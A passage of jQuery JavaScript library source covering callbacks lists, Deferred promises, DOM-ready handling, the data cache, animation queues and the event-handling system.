if ( list[ firingIndex ].apply( data[ 0 ], data[ 1 ] ) === false && options.stopOnFalse ) {
memory = false; // To prevent further calls using add
break;
}
}
firing = false;
if ( list ) {
if ( stack ) {
if ( stack.length ) {
fire( stack.shift() );
}
} else if ( memory ) {
list = [];
} else {
self.disable();
}
}
},
// Actual Callbacks object
self = {
// Add a callback or a collection of callbacks to the list
add: function() {
if ( list ) {
// First, we save the current length
var start = list.length;
(function add( args ) {
jQuery.each( args, function( _, arg ) {
var type = jQuery.type( arg );
if ( type === "function" ) {
if ( !options.unique || !self.has( arg ) ) {
list.push( arg );
}
} else if ( arg && arg.length && type !== "string" ) {
// Inspect recursively
add( arg );
}
});
})( arguments );
// Do we need to add the callbacks to the
// current firing batch?
if ( firing ) {
firingLength = list.length;
// With memory, if we're not firing then
// we should call right away
} else if ( memory ) {
firingStart = start;
fire( memory );
}
}
return this;
},
// Remove a callback from the list
remove: function() {
if ( list ) {
jQuery.each( arguments, function( _, arg ) {
var index;
while ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) {
list.splice( index, 1 );
// Handle firing indexes
if ( firing ) {
if ( index <= firingLength ) {
firingLength--;
}
if ( index <= firingIndex ) {
firingIndex--;
}
}
}
});
}
return this;
},
// Check if a given callback is in the list.
// If no argument is given, return whether or not list has callbacks attached.
has: function( fn ) {
return fn ? jQuery.inArray( fn, list ) > -1 : !!( list && list.length );
},
// Remove all callbacks from the list
empty: function() {
list = [];
firingLength = 0;
return this;
},
// Have the list do nothing anymore
disable: function() {
list = stack = memory = undefined;
return this;
},
// Is it disabled?
disabled: function() {
return !list;
},
// Lock the list in its current state
lock: function() {
stack = undefined;
if ( !memory ) {
self.disable();
}
return this;
},
// Is it locked?
locked: function() {
return !stack;
},
// Call all callbacks with the given context and arguments
fireWith: function( context, args ) {
if ( list && ( !fired || stack ) ) {
args = args || [];
args = [ context, args.slice ? args.slice() : args ];
if ( firing ) {
stack.push( args );
} else {
fire( args );
}
}
return this;
},
// Call all the callbacks with the given arguments
fire: function() {
self.fireWith( this, arguments );
return this;
},
// To know if the callbacks have already been called at least once
fired: function() {
return !!fired;
}
};
return self;
};
jQuery.extend({
Deferred: function( func ) {
var tuples = [
// action, add listener, listener list, final state
[ "resolve", "done", jQuery.Callbacks("once memory"), "resolved" ],
[ "reject", "fail", jQuery.Callbacks("once memory"), "rejected" ],
[ "notify", "progress", jQuery.Callbacks("memory") ]
],
state = "pending",
promise = {
state: function() {
return state;
},
always: function() {
deferred.done( arguments ).fail( arguments );
return this;
},
then: function( /* fnDone, fnFail, fnProgress */ ) {
var fns = arguments;
return jQuery.Deferred(function( newDefer ) {
jQuery.each( tuples, function( i, tuple ) {
var fn = jQuery.isFunction( fns[ i ] ) && fns[ i ];
// deferred[ done | fail | progress ] for forwarding actions to newDefer
deferred[ tuple[1] ](function() {
var returned = fn && fn.apply( this, arguments );
if ( returned && jQuery.isFunction( returned.promise ) ) {
returned.promise()
.done( newDefer.resolve )
.fail( newDefer.reject )
.progress( newDefer.notify );
} else {
newDefer[ tuple[ 0 ] + "With" ]( this === promise ? newDefer.promise() : this, fn ? [ returned ] : arguments );
}
});
});
fns = null;
}).promise();
},
// Get a promise for this deferred
// If obj is provided, the promise aspect is added to the object
promise: function( obj ) {
return obj != null ? jQuery.extend( obj, promise ) : promise;
}
},
deferred = {};
// Keep pipe for back-compat
promise.pipe = promise.then;
// Add list-specific methods
jQuery.each( tuples, function( i, tuple ) {
var list = tuple[ 2 ],
stateString = tuple[ 3 ];
// promise[ done | fail | progress ] = list.add
promise[ tuple[1] ] = list.add;
// Handle state
if ( stateString ) {
list.add(function() {
// state = [ resolved | rejected ]
state = stateString;
// [ reject_list | resolve_list ].disable; progress_list.lock
}, tuples[ i ^ 1 ][ 2 ].disable, tuples[ 2 ][ 2 ].lock );
}
// deferred[ resolve | reject | notify ]
deferred[ tuple[0] ] = function() {
deferred[ tuple[0] + "With" ]( this === deferred ? promise : this, arguments );
return this;
};
deferred[ tuple[0] + "With" ] = list.fireWith;
});
// Make the deferred a promise
promise.promise( deferred );
// Call given func if any
if ( func ) {
func.call( deferred, deferred );
}
// All done!
return deferred;
},
// Deferred helper
when: function( subordinate /* , ..., subordinateN */ ) {
var i = 0,
resolveValues = slice.call( arguments ),
length = resolveValues.length,
// the count of uncompleted subordinates
remaining = length !== 1 || ( subordinate && jQuery.isFunction( subordinate.promise ) ) ? length : 0,
// the master Deferred. If resolveValues consist of only a single Deferred, just use that.
deferred = remaining === 1 ? subordinate : jQuery.Deferred(),
// Update function for both resolve and progress values
updateFunc = function( i, contexts, values ) {
return function( value ) {
contexts[ i ] = this;
values[ i ] = arguments.length > 1 ? slice.call( arguments ) : value;
if ( values === progressValues ) {
deferred.notifyWith( contexts, values );
} else if ( !( --remaining ) ) {
deferred.resolveWith( contexts, values );
}
};
},
progressValues, progressContexts, resolveContexts;
// add listeners to Deferred subordinates; treat others as resolved
if ( length > 1 ) {
progressValues = new Array( length );
progressContexts = new Array( length );
resolveContexts = new Array( length );
for ( ; i < length; i++ ) {
if ( resolveValues[ i ] && jQuery.isFunction( resolveValues[ i ].promise ) ) {
resolveValues[ i ].promise()
.done( updateFunc( i, resolveContexts, resolveValues ) )
.fail( deferred.reject )
.progress( updateFunc( i, progressContexts, progressValues ) );
} else {
--remaining;
}
}
}
// if we're not waiting on anything, resolve the master
if ( !remaining ) {
deferred.resolveWith( resolveContexts, resolveValues );
}
return deferred.promise();
}
});
// The deferred used on DOM ready
var readyList;
jQuery.fn.ready = function( fn ) {
// Add the callback
jQuery.ready.promise().done( fn );
return this;
};
jQuery.extend({
// Is the DOM ready to be used? Set to true once it occurs.
isReady: false,
// A counter to track how many items to wait for before
// the ready event fires. See #6781
readyWait: 1,
// Hold (or release) the ready event
holdReady: function( hold ) {
if ( hold ) {
jQuery.readyWait++;
} else {
jQuery.ready( true );
}
},
// Handle when the DOM is ready
ready: function( wait ) {
// Abort if there are pending holds or we're already ready
if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) {
return;
}
// Remember that the DOM is ready
jQuery.isReady = true;
// If a normal DOM Ready event fired, decrement, and wait if need be
if ( wait !== true && --jQuery.readyWait > 0 ) {
return;
}
// If there are functions bound, to execute
readyList.resolveWith( document, [ jQuery ] );
// Trigger any bound ready events
if ( jQuery.fn.trigger ) {
jQuery( document ).trigger("ready").off("ready");
}
}
});
/**
* The ready event handler and self cleanup method
*/
function completed() {
document.removeEventListener( "DOMContentLoaded", completed, false );
window.removeEventListener( "load", completed, false );
jQuery.ready();
}
jQuery.ready.promise = function( obj ) {
if ( !readyList ) {
readyList = jQuery.Deferred();
// Catch cases where $(document).ready() is called after the browser event has already occurred.
// we once tried to use readyState "interactive" here, but it caused issues like the one
// discovered by ChrisS here: http://bugs.jquery.com/ticket/12282#comment:15
if ( document.readyState === "complete" ) {
// Handle it asynchronously to allow scripts the opportunity to delay ready
setTimeout( jQuery.ready );
} else {
// Use the handy event callback
document.addEventListener( "DOMContentLoaded", completed, false );
// A fallback to window.onload, that will always work
window.addEventListener( "load", completed, false );
}
}
return readyList.promise( obj );
};
// Kick off the DOM ready check even if the user does not
jQuery.ready.promise();
// Multifunctional method to get and set values of a collection
// The value/s can optionally be executed if it's a function
var access = jQuery.access = function( elems, fn, key, value, chainable, emptyGet, raw ) {
var i = 0,
len = elems.length,
bulk = key == null;
// Sets many values
if ( jQuery.type( key ) === "object" ) {
chainable = true;
for ( i in key ) {
jQuery.access( elems, fn, i, key[i], true, emptyGet, raw );
}
// Sets one value
} else if ( value !== undefined ) {
chainable = true;
if ( !jQuery.isFunction( value ) ) {
raw = true;
}
if ( bulk ) {
// Bulk operations run against the entire set
if ( raw ) {
fn.call( elems, value );
fn = null;
// ...except when executing function values
} else {
bulk = fn;
fn = function( elem, key, value ) {
return bulk.call( jQuery( elem ), value );
};
}
}
if ( fn ) {
for ( ; i < len; i++ ) {
fn( elems[i], key, raw ? value : value.call( elems[i], i, fn( elems[i], key ) ) );
}
}
}
return chainable ?
elems :
// Gets
bulk ?
fn.call( elems ) :
len ? fn( elems[0], key ) : emptyGet;
};
/**
* Determines whether an object can have data
*/
jQuery.acceptData = function( owner ) {
// Accepts only:
// - Node
// - Node.ELEMENT_NODE
// - Node.DOCUMENT_NODE
// - Object
// - Any
/* jshint -W018 */
return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType );
};
function Data() {
// Support: Android < 4,
// Old WebKit does not have Object.preventExtensions/freeze method,
// return new empty object instead with no [[set]] accessor
Object.defineProperty( this.cache = {}, 0, {
get: function() {
return {};
}
});
this.expando = jQuery.expando + Math.random();
}
Data.uid = 1;
Data.accepts = jQuery.acceptData;
Data.prototype = {
key: function( owner ) {
// We can accept data for non-element nodes in modern browsers,
// but we should not, see #8335.
// Always return the key for a frozen object.
if ( !Data.accepts( owner ) ) {
return 0;
}
var descriptor = {},
// Check if the owner object already has a cache key
unlock = owner[ this.expando ];
// If not, create one
if ( !unlock ) {
unlock = Data.uid++;
// Secure it in a non-enumerable, non-writable property
try {
descriptor[ this.expando ] = { value: unlock };
Object.defineProperties( owner, descriptor );
// Support: Android < 4
// Fallback to a less secure definition
} catch ( e ) {
descriptor[ this.expando ] = unlock;
jQuery.extend( owner, descriptor );
}
}
// Ensure the cache object
if ( !this.cache[ unlock ] ) {
this.cache[ unlock ] = {};
}
return unlock;
},
set: function( owner, data, value ) {
var prop,
// There may be an unlock assigned to this node,
// if there is no entry for this "owner", create one inline
// and set the unlock as though an owner entry had always existed
unlock = this.key( owner ),
cache = this.cache[ unlock ];
// Handle: [ owner, key, value ] args
if ( typeof data === "string" ) {
cache[ data ] = value;
// Handle: [ owner, { properties } ] args
} else {
// Fresh assignments by object are shallow copied
if ( jQuery.isEmptyObject( cache ) ) {
jQuery.extend( this.cache[ unlock ], data );
// Otherwise, copy the properties one-by-one to the cache object
} else {
for ( prop in data ) {
cache[ prop ] = data[ prop ];
}
}
}
return cache;
},
get: function( owner, key ) {
// Either a valid cache is found, or will be created.
// New caches will be created and the unlock returned,
// allowing direct access to the newly created
// empty data object. A valid owner object must be provided.
var cache = this.cache[ this.key( owner ) ];
return key === undefined ?
cache : cache[ key ];
},
access: function( owner, key, value ) {
var stored;
// In cases where either:
//
// 1. No key was specified
// 2. A string key was specified, but no value provided
//
// Take the "read" path and allow the get method to determine
// which value to return, respectively either:
//
// 1. The entire cache object
// 2. The data stored at the key
//
if ( key === undefined ||
((key && typeof key === "string") && value === undefined) ) {
stored = this.get( owner, key );
return stored !== undefined ?
stored : this.get( owner, jQuery.camelCase(key) );
}
// [*]When the key is not a string, or both a key and value
// are specified, set or extend (existing objects) with either:
//
// 1. An object of properties
// 2. A key and value
//
this.set( owner, key, value );
// Since the "set" path can have two possible entry points
// return the expected data based on which path was taken[*]
return value !== undefined ? value : key;
},
remove: function( owner, key ) {
var i, name, camel,
unlock = this.key( owner ),
cache = this.cache[ unlock ];
if ( key === undefined ) {
this.cache[ unlock ] = {};
} else {
// Support array or space separated string of keys
if ( jQuery.isArray( key ) ) {
// If "name" is an array of keys...
// When data is initially created, via ("key", "val") signature,
// keys will be converted to camelCase.
// Since there is no way to tell _how_ a key was added, remove
// both plain key and camelCase key. #12786
// This will only penalize the array argument path.
name = key.concat( key.map( jQuery.camelCase ) );
} else {
camel = jQuery.camelCase( key );
// Try the string as a key before any manipulation
if ( key in cache ) {
name = [ key, camel ];
} else {
// If a key with the spaces exists, use it.
// Otherwise, create an array by matching non-whitespace
name = camel;
name = name in cache ?
[ name ] : ( name.match( rnotwhite ) || [] );
}
}
i = name.length;
while ( i-- ) {
delete cache[ name[ i ] ];
}
}
},
hasData: function( owner ) {
return !jQuery.isEmptyObject(
this.cache[ owner[ this.expando ] ] || {}
);
},
discard: function( owner ) {
if ( owner[ this.expando ] ) {
delete this.cache[ owner[ this.expando ] ];
}
}
};
var data_priv = new Data();
var data_user = new Data();
/*
Implementation Summary
1. Enforce API surface and semantic compatibility with 1.9.x branch
2. Improve the module's maintainability by reducing the storage
paths to a single mechanism.
3. Use the same single mechanism to support "private" and "user" data.
4. _Never_ expose "private" data to user code (TODO: Drop _data, _removeData)
5. Avoid exposing implementation details on user objects (eg. expando properties)
6. Provide a clear path for implementation upgrade to WeakMap in 2014
*/
var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
rmultiDash = /([A-Z])/g;
function dataAttr( elem, key, data ) {
var name;
// If nothing was found internally, try to fetch any
// data from the HTML5 data-* attribute
if ( data === undefined && elem.nodeType === 1 ) {
name = "data-" + key.replace( rmultiDash, "-$1" ).toLowerCase();
data = elem.getAttribute( name );
if ( typeof data === "string" ) {
try {
data = data === "true" ? true :
data === "false" ? false :
data === "null" ? null :
// Only convert to a number if it doesn't change the string
+data + "" === data ? +data :
rbrace.test( data ) ? jQuery.parseJSON( data ) :
data;
} catch( e ) {}
// Make sure we set the data so it isn't changed later
data_user.set( elem, key, data );
} else {
data = undefined;
}
}
return data;
}
jQuery.extend({
hasData: function( elem ) {
return data_user.hasData( elem ) || data_priv.hasData( elem );
},
data: function( elem, name, data ) {
return data_user.access( elem, name, data );
},
removeData: function( elem, name ) {
data_user.remove( elem, name );
},
// TODO: Now that all calls to _data and _removeData have been replaced
// with direct calls to data_priv methods, these can be deprecated.
_data: function( elem, name, data ) {
return data_priv.access( elem, name, data );
},
_removeData: function( elem, name ) {
data_priv.remove( elem, name );
}
});
jQuery.fn.extend({
data: function( key, value ) {
var i, name, data,
elem = this[ 0 ],
attrs = elem && elem.attributes;
// Gets all values
if ( key === undefined ) {
if ( this.length ) {
data = data_user.get( elem );
if ( elem.nodeType === 1 && !data_priv.get( elem, "hasDataAttrs" ) ) {
i = attrs.length;
while ( i-- ) {
name = attrs[ i ].name;
if ( name.indexOf( "data-" ) === 0 ) {
name = jQuery.camelCase( name.slice(5) );
dataAttr( elem, name, data[ name ] );
}
}
data_priv.set( elem, "hasDataAttrs", true );
}
}
return data;
}
// Sets multiple values
if ( typeof key === "object" ) {
return this.each(function() {
data_user.set( this, key );
});
}
return access( this, function( value ) {
var data,
camelKey = jQuery.camelCase( key );
// The calling jQuery object (element matches) is not empty
// (and therefore has an element appears at this[ 0 ]) and the
// `value` parameter was not undefined. An empty jQuery object
// will result in `undefined` for elem = this[ 0 ] which will
// throw an exception if an attempt to read a data cache is made.
if ( elem && value === undefined ) {
// Attempt to get data from the cache
// with the key as-is
data = data_user.get( elem, key );
if ( data !== undefined ) {
return data;
}
// Attempt to get data from the cache
// with the key camelized
data = data_user.get( elem, camelKey );
if ( data !== undefined ) {
return data;
}
// Attempt to "discover" the data in
// HTML5 custom data-* attrs
data = dataAttr( elem, camelKey, undefined );
if ( data !== undefined ) {
return data;
}
// We tried really hard, but the data doesn't exist.
return;
}
// Set the data...
this.each(function() {
// First, attempt to store a copy or reference of any
// data that might've been store with a camelCased key.
var data = data_user.get( this, camelKey );
// For HTML5 data-* attribute interop, we have to
// store property names with dashes in a camelCase form.
// This might not apply to all properties...*
data_user.set( this, camelKey, value );
// *... In the case of properties that might _actually_
// have dashes, we need to also store a copy of that
// unchanged property.
if ( key.indexOf("-") !== -1 && data !== undefined ) {
data_user.set( this, key, value );
}
});
}, null, value, arguments.length > 1, null, true );
},
removeData: function( key ) {
return this.each(function() {
data_user.remove( this, key );
});
}
});
jQuery.extend({
queue: function( elem, type, data ) {
var queue;
if ( elem ) {
type = ( type || "fx" ) + "queue";
queue = data_priv.get( elem, type );
// Speed up dequeue by getting out quickly if this is just a lookup
if ( data ) {
if ( !queue || jQuery.isArray( data ) ) {
queue = data_priv.access( elem, type, jQuery.makeArray(data) );
} else {
queue.push( data );
}
}
return queue || [];
}
},
dequeue: function( elem, type ) {
type = type || "fx";
var queue = jQuery.queue( elem, type ),
startLength = queue.length,
fn = queue.shift(),
hooks = jQuery._queueHooks( elem, type ),
next = function() {
jQuery.dequeue( elem, type );
};
// If the fx queue is dequeued, always remove the progress sentinel
if ( fn === "inprogress" ) {
fn = queue.shift();
startLength--;
}
if ( fn ) {
// Add a progress sentinel to prevent the fx queue from being
// automatically dequeued
if ( type === "fx" ) {
queue.unshift( "inprogress" );
}
// clear up the last queue stop function
delete hooks.stop;
fn.call( elem, next, hooks );
}
if ( !startLength && hooks ) {
hooks.empty.fire();
}
},
// not intended for public consumption - generates a queueHooks object, or returns the current one
_queueHooks: function( elem, type ) {
var key = type + "queueHooks";
return data_priv.get( elem, key ) || data_priv.access( elem, key, {
empty: jQuery.Callbacks("once memory").add(function() {
data_priv.remove( elem, [ type + "queue", key ] );
})
});
}
});
jQuery.fn.extend({
queue: function( type, data ) {
var setter = 2;
if ( typeof type !== "string" ) {
data = type;
type = "fx";
setter--;
}
if ( arguments.length < setter ) {
return jQuery.queue( this[0], type );
}
return data === undefined ?
this :
this.each(function() {
var queue = jQuery.queue( this, type, data );
// ensure a hooks for this queue
jQuery._queueHooks( this, type );
if ( type === "fx" && queue[0] !== "inprogress" ) {
jQuery.dequeue( this, type );
}
});
},
dequeue: function( type ) {
return this.each(function() {
jQuery.dequeue( this, type );
});
},
clearQueue: function( type ) {
return this.queue( type || "fx", [] );
},
// Get a promise resolved when queues of a certain type
// are emptied (fx is the type by default)
promise: function( type, obj ) {
var tmp,
count = 1,
defer = jQuery.Deferred(),
elements = this,
i = this.length,
resolve = function() {
if ( !( --count ) ) {
defer.resolveWith( elements, [ elements ] );
}
};
if ( typeof type !== "string" ) {
obj = type;
type = undefined;
}
type = type || "fx";
while ( i-- ) {
tmp = data_priv.get( elements[ i ], type + "queueHooks" );
if ( tmp && tmp.empty ) {
count++;
tmp.empty.add( resolve );
}
}
resolve();
return defer.promise( obj );
}
});
var pnum = (/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/).source;
var cssExpand = [ "Top", "Right", "Bottom", "Left" ];
var isHidden = function( elem, el ) {
// isHidden might be called from jQuery#filter function;
// in that case, element will be second argument
elem = el || elem;
return jQuery.css( elem, "display" ) === "none" || !jQuery.contains( elem.ownerDocument, elem );
};
var rcheckableType = (/^(?:checkbox|radio)$/i);
(function() {
var fragment = document.createDocumentFragment(),
div = fragment.appendChild( document.createElement( "div" ) );
// #11217 - WebKit loses check when the name is after the checked attribute
div.innerHTML = "<input type='radio' checked='checked' name='t'/>";
// Support: Safari 5.1, iOS 5.1, Android 4.x, Android 2.3
// old WebKit doesn't clone checked state correctly in fragments
support.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked;
// Make sure textarea (and checkbox) defaultValue is properly cloned
// Support: IE9-IE11+
div.innerHTML = "<textarea>x</textarea>";
support.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue;
})();
var strundefined = typeof undefined;
support.focusinBubbles = "onfocusin" in window;
var
rkeyEvent = /^key/,
rmouseEvent = /^(?:mouse|contextmenu)|click/,
rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
rtypenamespace = /^([^.]*)(?:\.(.+)|)$/;
function returnTrue() {
return true;
}
function returnFalse() {
return false;
}
function safeActiveElement() {
try {
return document.activeElement;
} catch ( err ) { }
}
/*
* Helper functions for managing events -- not part of the public interface.
* Props to Dean Edwards' addEvent library for many of the ideas.
*/
jQuery.event = {
global: {},
add: function( elem, types, handler, data, selector ) {
var handleObjIn, eventHandle, tmp,
events, t, handleObj,
special, handlers, type, namespaces, origType,
elemData = data_priv.get( elem );
// Don't attach events to noData or text/comment nodes (but allow plain objects)
if ( !elemData ) {
return;
}
// Caller can pass in an object of custom data in lieu of the handler
if ( handler.handler ) {
handleObjIn = handler;
handler = handleObjIn.handler;
selector = handleObjIn.selector;
}
// Make sure that the handler has a unique ID, used to find/remove it later
if ( !handler.guid ) {
handler.guid = jQuery.guid++;
}
// Init the element's event structure and main handler, if this is the first
if ( !(events = elemData.events) ) {
events = elemData.events = {};
}
if ( !(eventHandle = elemData.handle) ) {
eventHandle = elemData.handle = function( e ) {
// Discard the second event of a jQuery.event.trigger() and
// when an event is called after a page has unloaded
return typeof jQuery !== strundefined && jQuery.event.triggered !== e.type ?
jQuery.event.dispatch.apply( elem, arguments ) : undefined;
};
}
// Handle multiple events separated by a space
types = ( types || "" ).match( rnotwhite ) || [ "" ];
t = types.length;
while ( t-- ) {
tmp = rtypenamespace.exec( types[t] ) || [];
type = origType = tmp[1];
namespaces = ( tmp[2] || "" ).split( "." ).sort();
// There *must* be a type, no attaching namespace-only handlers
if ( !type ) {
continue;
}
// If event changes its type, use the special event handlers for the changed type
special = jQuery.event.special[ type ] || {};
// If selector defined, determine special event api type, otherwise given type
type = ( selector ? special.delegateType : special.bindType ) || type;
// Update special based on newly reset type
special = jQuery.event.special[ type ] || {};
// handleObj is passed to all event handlers
handleObj = jQuery.extend({
type: type,
origType: origType,
data: data,
handler: handler,
guid: handler.guid,
selector: selector,
needsContext: selector && jQuery.expr.match.needsContext.test( selector ),
namespace: namespaces.join(".")
}, handleObjIn );
// Init the event handler queue if we're the first
if ( !(handlers = events[ type ]) ) {
handlers = events[ type ] = [];
handlers.delegateCount = 0;
// Only use addEventListener if the special events handler returns false
if ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) {
if ( elem.addEventListener ) {
elem.addEventListener( type, eventHandle, false );
}
}
}
if ( special.add ) {
special.add.call( elem, handleObj );
if ( !handleObj.handler.guid ) {
handleObj.handler.guid = handler.guid;
}
}
// Add to the element's handler list, delegates in front
if ( selector ) {
handlers.splice( handlers.delegateCount++, 0, handleObj );
} else {
handlers.push( handleObj );
}
// Keep track of which events have ever been used, for event optimization
jQuery.event.global[ type ] = true;
}
},
// Detach an event or set of events from an element
remove: function( elem, types, handler, selector, mappedTypes ) {
var j, origCount, tmp,
events, t, handleObj,
special, handlers, type, namespaces, origType,
elemData = data_priv.hasData( elem ) && data_priv.get( elem );
if ( !elemData || !(events = elemData.events) ) {
return;
}
// Once for each type.namespace in types; type may be omitted
types = ( types || "" ).match( rnotwhite ) || [ "" ];
t = types.length;
while ( t-- ) {
tmp = rtypenamespace.exec( types[t] ) || [];
type = origType = tmp[1];
namespaces = ( tmp[2] || "" ).split( "." ).sort();
// Unbind all events (on this namespace, if provided) for the element
if ( !type ) {
for ( type in events ) {
jQuery.event.remove( elem, type + types[ t ], handler, selector, true );
}
continue;
}
special = jQuery.event.special[ type ] || {};
type = ( selector ? special.delegateType : special.bindType ) || type;
handlers = events[ type ] || [];
tmp = tmp[2] && new RegExp( "(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)" );
// Remove matching events
origCount = j = handlers.length;
while ( j-- ) {
handleObj = handlers[ j ];
if ( ( mappedTypes || origType === handleObj.origType ) &&
( !handler || handler.guid === handleObj.guid ) &&
( !tmp || tmp.test( handleObj.namespace ) ) &&
( !selector || selector === handleObj.selector || selector === "**" && handleObj.selector ) ) {
handlers.splice( j, 1 );
if ( handleObj.selector ) {
handlers.delegateCount--;
}
if ( special.remove ) {
special.remove.call( elem, handleObj );
}
}
}
// Remove generic event handler if we removed something and no more handlers exist
// (avoids potential for endless recursion during removal of special event handlers)
if ( origCount && !handlers.length ) {
if ( !special.teardown || special.teardown.call( elem, namespaces, elemData.handle ) === false ) {
jQuery.removeEvent( elem, type, elemData.handle );
}
delete events[ type ];
}
}
// Remove the expando if it's no longer used
if ( jQuery.isEmptyObject( events ) ) {
delete elemData.handle;
data_priv.remove( elem, "events" );
}
},
trigger: function( event, data, elem, onlyHandlers ) {
var i, cur, tmp, bubbleType, ontype, handle, special,
eventPath = [ elem || document ],
type = hasOwn.call( event, "type" ) ? event.type : event,
namespaces = hasOwn.call( event, "namespace" ) ? event.namespace.split(".") : [];
cur = tmp = elem = elem || document;
// Don't do events on text and comment nodes
if ( elem.nodeType === 3 || elem.nodeType === 8 ) {
return;
}
// focus/blur morphs to focusin/out; ensure we're not firing them right now
if ( rfocusMorph.test( type + jQuery.event.triggered ) ) {
return;
}
if ( type.indexOf(".") >= 0 ) {
// Namespaced trigger; create a regexp to match event type in handle()
namespaces = type.split(".");
type = namespaces.shift();
namespaces.sort();
}
ontype = type.indexOf(":") < 0 && "on" + type;
// Caller can pass in a jQuery.Event object, Object, or just an event type string
event = event[ jQuery.expando ] ?
event :
new jQuery.Event( type, typeof event === "object" && event );
// Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true)
event.isTrigger = onlyHandlers ? 2 : 3;
event.namespace = namespaces.join(".");
event.namespace_re = event.namespace ?
new RegExp( "(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)" ) :
null;
// Clean up the event in case it is being reused
event.result = undefined;
if ( !event.target ) {
event.target = elem;
}
// Clone any incoming data and prepend the event, creating the handler arg list
data = data == null ?
[ event ] :
jQuery.makeArray( data, [ event ] );
// Allow special events to draw outside the lines
special = jQuery.event.special[ type ] || {};
if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) {
return;
}
// Determine event propagation path in advance, per W3C events spec (#9951)
// Bubble up to document, then to window; watch for a global ownerDocument var (#9724)
if ( !onlyHandlers && !special.noBubble && !jQuery.isWindow( elem ) ) {
bubbleType = special.delegateType || type;
if ( !rfocusMorph.test( bubbleType + type ) ) {
cur = cur.parentNode;
}
for ( ; cur; cur = cur.parentNode ) {
eventPath.push( cur );
tmp = cur;
}
// Only add window if we got to document (e.g., not plain obj or detached DOM)
if ( tmp === (elem.ownerDocument || document) ) {
eventPath.push( tmp.defaultView || tmp.parentWindow || window );
}
}
// Fire handlers on the event path
i = 0;
while ( (cur = eventPath[i++]) && !event.isPropagationStopped() ) {
event.type = i > 1 ?
bubbleType :
special.bindType || type;
// jQuery handler
handle = ( data_priv.get( cur, "events" ) || {} )[ event.type ] && data_priv.get( cur, "handle" );
if ( handle ) {
handle.apply( cur, data );
}
// Native handler
handle = ontype && cur[ ontype ];
if ( handle && handle.apply && jQuery.acceptData( cur ) ) {
event.result = handle.apply( cur, data );
if ( event.result === false ) {
event.preventDefault();
}
}
}
event.type = type;
// If nobody prevented the default action, do it now
if ( !onlyHandlers && !event.isDefaultPrevented() ) {
if ( (!special._default || special._default.apply( eventPath.pop(), data ) === false) &&
jQuery.acceptData( elem ) ) {
// Call a native DOM method on the target with the same name name as the event.
// Don't do default actions on window, that's where global variables be (#6170)
if ( ontype && jQuery.isFunction( elem[ type ] ) && !jQuery.isWindow( elem ) ) {
// Don't re-trigger an onFOO event when we call its FOO() method
tmp = elem[ ontype ];
if ( tmp ) {
elem[ ontype ] = null;
}
// Prevent re-triggering of the same event, since we already bubbled it above
jQuery.event.triggered = type;
elem[ type ]();
jQuery.event.triggered = undefined;
if ( tmp ) {
elem[ ontype ] = tmp;
}
}
}
}
return event.result;
},
dispatch: function( event ) {
// Make a writable jQuery.Event from the native event object
event = jQuery.event.fix( event );
var i, j, ret, matched, handleObj,
handlerQueue = [],
args = slice.call( arguments ),
handlers = ( data_priv.get( this, "events" ) || {} )[ event.type ] || [],
special = jQuery.event.special[ event.type ] || {};
// Use the fix-ed jQuery.Event rather than the (read-only) native event
args[0] = event;
event.delegateTarget = this;
// Call the preDispatch hook for the mapped type, and let it bail if desired
if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) {
return;
}
// Determine handlers
handlerQueue = jQuery.event.handlers.call( this, event, handlers );
// Run delegates first; they may want to stop propagation beneath us
i = 0;
while ( (matched = handlerQueue[ i++ ]) && !event.isPropagationStopped() ) {
event.currentTarget = matched.elem;
j = 0;
while ( (handleObj = matched.handlers[ j++ ]) && !event.isImmediatePropagationStopped() ) {
// Triggered event must either 1) have no namespace, or
// 2) have namespace(s) a subset or equal to those in the bound event (both can have no namespace).
if ( !event.namespace_re || event.namespace_re.test( handleObj.namespace ) ) {
event.handleObj = handleObj;
event.data = handleObj.data;
ret = ( (jQuery.event.special[ handleObj.origType ] || {}).handle || handleObj.handler )
.apply( matched.elem, args );
if ( ret !== undefined ) {
if ( (event.result = ret) === false ) {
event.preventDefault();
event.stopPropagation();
}
}
}
}
}
// Call the postDispatch hook for the mapped type
if ( special.postDispatch ) {
special.postDispatch.call( this, event );
}
return event.result;
},
handlers: function( event, handlers ) {
var i, matches, sel, handleObj,
handlerQueue = [],
delegateCount = handlers.delegateCount,
cur = event.target;
// Find delegate handlers
// Black-hole SVG <use> instance trees (#13180)
// Avoid non-left-click bubbling in Firefox (#3861)
if ( delegateCount && cur.nodeType && (!event.button || event.type !== "click") ) {
for ( ; cur !== this; cur = cur.parentNode || this ) {
// Don't process clicks on disabled elements (#6911, #8165, #11382, #11764)
if ( cur.disabled !== true || event.type !== "click" ) {
matches = [];
for ( i = 0; i < delegateCount; i++ ) {
handleObj = handlers[ i ];
// Don't conflict with Object.prototype properties (#13203)
sel = handleObj.selector + " ";
if ( matches[ sel ] === undefined ) {
matches[ sel ] = handleObj.needsContext ?
jQuery( sel, this ).index( cur ) >= 0 :
jQuery.find( sel, this, null, [ cur ] ).length;
}
if ( matches[ sel ] ) {
matches.push( handleObj );
}
}
if ( matches.length ) {
handlerQueue.push({ elem: cur, handlers: matches });
}
}
}
}
// Add the remaining (directly-bound) handlers
if ( delegateCount < handlers.length ) {
handlerQueue.push({ elem: this, handlers: handlers.slice( delegateCount ) });
}
return handlerQueue;
},
// Includes some event props shared by KeyEvent and MouseEvent
props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),
fixHooks: {},
keyHooks: {
props: "char charCode key keyCode".split(" "),
filter: function( event, original ) {
// Add which for key events
if ( event.which == null ) {
event.which = original.charCode != null ? original.charCode : original.keyCode;
}
return event;
}
},
mouseHooks: {
props: "button buttons clientX clientY offsetX offsetY pageX pageY screenX screenY toElement".split(" "),
